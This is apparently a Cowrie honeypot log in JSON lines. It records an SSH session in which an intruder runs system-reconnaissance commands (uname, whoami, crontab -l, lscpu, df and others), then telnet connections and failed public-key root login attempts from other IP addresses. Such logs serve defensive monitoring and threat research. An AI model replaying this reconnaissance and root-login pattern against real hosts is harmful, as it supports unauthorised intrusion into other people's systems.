{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.022281Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.377172Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.380711Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.529700Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.848621Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.852708Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:06.856503Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:07.021045Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:07.370946Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:07.374790Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":22,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:07.526212Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:07.879602Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:07.884011Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:08.037207Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:08.377327Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:08.380802Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:08.531091Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:08.871353Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:08.874776Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:09.022254Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:09.362228Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:09.365748Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:09.527627Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:09.867073Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:09.869924Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:10.018962Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:10.393295Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:10.397123Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:10.538250Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:10.878510Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:10.881797Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":7,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:11.033041Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:11.382905Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:11.386999Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:11.541558Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:12.271034Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:12.274753Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:12.430449Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.4","message":"Connection lost after 22.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:12.436742Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.77753162384033,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:16.262390Z","src_ip":"212.55.149.117","session":"0cf678aad9c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.97425127029419,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:36.586917Z","src_ip":"212.55.149.117","session":"a56fcc7eb0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.104.5.95","src_port":49185,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c86b8c9d72d","protocol":"telnet","message":"New connection: 177.104.5.95:49185 (10.17.0.5:23) [session: 3c86b8c9d72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:13.636607Z"}
{"eventid":"cowrie.session.closed","duration":13.75851035118103,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:27.394975Z","src_ip":"177.104.5.95","session":"3c86b8c9d72d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.236.86.20","src_port":44332,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a5ed8e3097","protocol":"ssh","message":"New connection: 109.236.86.20:44332 (10.17.0.5:22) [session: 82a5ed8e3097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:33.890018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:33.894684Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:33.983013Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:2c:da:02:55:56:2e:ec:0b:dd:94:be:fd:aa:ee:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYbd3xwJtIXKSChnwWx40YPHYTWy1OsBPMBfTc2+OlIgHN/cUuctBPfCm7A6UikQsXOy9hXDeazPJqLB+cG1PC3oiBQzA20TeU5ktSBNjBJi4Nbkkiv7+M6dVbQWshr/BLB+vPSf6q4yJ/lrhjN4nGMtcU/ucZ44yJ6I0A43NSeEOmspUt97aVRCs+dY9F7v2JEuzVqWwn6QpqExYpeEAgC9ihR397lhpuZ3/YGy7WeYFKxOttt/7LwJlMp9yMuAqg1Nxalg8aAabayTkdnfGk/WwNTI6JyQxNtfvlYHtwm17D4e90RJ4O1WcI1l2vIAklH3ERnfo1iQzDawW/N7hf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:2c:da:02:55:56:2e:ec:0b:dd:94:be:fd:aa:ee:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.403356Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:2c:da:02:55:56:2e:ec:0b:dd:94:be:fd:aa:ee:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYbd3xwJtIXKSChnwWx40YPHYTWy1OsBPMBfTc2+OlIgHN/cUuctBPfCm7A6UikQsXOy9hXDeazPJqLB+cG1PC3oiBQzA20TeU5ktSBNjBJi4Nbkkiv7+M6dVbQWshr/BLB+vPSf6q4yJ/lrhjN4nGMtcU/ucZ44yJ6I0A43NSeEOmspUt97aVRCs+dY9F7v2JEuzVqWwn6QpqExYpeEAgC9ihR397lhpuZ3/YGy7WeYFKxOttt/7LwJlMp9yMuAqg1Nxalg8aAabayTkdnfGk/WwNTI6JyQxNtfvlYHtwm17D4e90RJ4O1WcI1l2vIAklH3ERnfo1iQzDawW/N7hf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.407507Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:d1:e0:6a:1b:ed:53:0b:8e:17:62:a5:40:51:b3:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5Q/Z1x/FFPkGH2z4H5q5+ljw0TWp6mRkPxpeRywM7MXWU8XJ+L5KAg9o/8jSAobq2gTMZeRnu7yWX2+B0CbOsk27xgsLLZCJq2b+NFFnjXqK+T42+Ev4KnZLNc6ihf/RyZpOqCWCZwd3b6npPn31QBwjNqvzgo5VHtKd+jPco+Niq/3WKEybAH5uFgTbsdyFejm+TxEj/4ji1+T9gItcz3+i44+hznTFzzpMEBZV2O94PB8+ySoTh2Yu3r9igTgccF/9ikrqsr2XfIrJbaW2rUzqfIu16Ct/CAqa9lSUBLiNX6xh1Vj1nyxTeBiH1cZtYHc8nwUUCbk0jU0v7T60jnb3JON+kLLtDweJI1jg5ojjjkWUWsJRXxTfSku2uqzIxehzP4WvdMKzfwbTOzYV/7yThsfS/VMNQHzvoj+jQO/UQVJE5F78XJqOGpKAs4cqst1sImedWPx9F5bPZ0RgeVYvwxdkqnY+1EAT22VanQTkXyiapgKWT/P9DLkiT50YAe/7dfgZOHrbtRdI6/taW07GLNWUIQIzTYvCkDAh6klTMrT5QNcJr97Gykd3++d3QcnK7L2Y8yiWc/Hqb/u8McX1FuXG340Yp/xbGimgZ4NEg/RFi+iHe+SufqyfozH3hNcVUzpgNHWRSZLq0OwzE2xWhilTko/QlOJ80xhHSrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:d1:e0:6a:1b:ed:53:0b:8e:17:62:a5:40:51:b3:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.497343Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:d1:e0:6a:1b:ed:53:0b:8e:17:62:a5:40:51:b3:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5Q/Z1x/FFPkGH2z4H5q5+ljw0TWp6mRkPxpeRywM7MXWU8XJ+L5KAg9o/8jSAobq2gTMZeRnu7yWX2+B0CbOsk27xgsLLZCJq2b+NFFnjXqK+T42+Ev4KnZLNc6ihf/RyZpOqCWCZwd3b6npPn31QBwjNqvzgo5VHtKd+jPco+Niq/3WKEybAH5uFgTbsdyFejm+TxEj/4ji1+T9gItcz3+i44+hznTFzzpMEBZV2O94PB8+ySoTh2Yu3r9igTgccF/9ikrqsr2XfIrJbaW2rUzqfIu16Ct/CAqa9lSUBLiNX6xh1Vj1nyxTeBiH1cZtYHc8nwUUCbk0jU0v7T60jnb3JON+kLLtDweJI1jg5ojjjkWUWsJRXxTfSku2uqzIxehzP4WvdMKzfwbTOzYV/7yThsfS/VMNQHzvoj+jQO/UQVJE5F78XJqOGpKAs4cqst1sImedWPx9F5bPZ0RgeVYvwxdkqnY+1EAT22VanQTkXyiapgKWT/P9DLkiT50YAe/7dfgZOHrbtRdI6/taW07GLNWUIQIzTYvCkDAh6klTMrT5QNcJr97Gykd3++d3QcnK7L2Y8yiWc/Hqb/u8McX1FuXG340Yp/xbGimgZ4NEg/RFi+iHe+SufqyfozH3hNcVUzpgNHWRSZLq0OwzE2xWhilTko/QlOJ80xhHSrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.501672Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:06:ba:56:f2:5d:18:21:32:73:c8:71:82:84:54:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCczLuPaYOoHOxJ7c1JsbmXzXf9J1ar3UcZedFB2Ar1NB2swWE/qxlmEX68OuTnb7YYlEqU4dsP3S9FTurEVMFCv8x0s0nN9kUa6ZsE8ulLQ1Z4I7ijBo7QlQ8Xj0aoOhQ4rdxw6UAykC+gTNzklWz1Ej+0Ndx+7Hn4uY9kGtdKXB5rwkY7MlOAYS/Xh68lhC/LqclKVrc2O68WGlOXew6Zgc31MU/b28LIb8rDxfrhNjYUA+dCjTfR0L5WDyZJ6GcGNy7pE7WPXb7G4YMm+7R/DBcD6FqtkuMKHY2lkRRIGeCbqc08+D2BTjqGkoIErl4cj0RSQAcyLY+N66aMjdPj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:06:ba:56:f2:5d:18:21:32:73:c8:71:82:84:54:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:12:34.593807Z","src_ip":"109.236.86.20","session":"82a5ed8e3097","protocol":"ssh"}
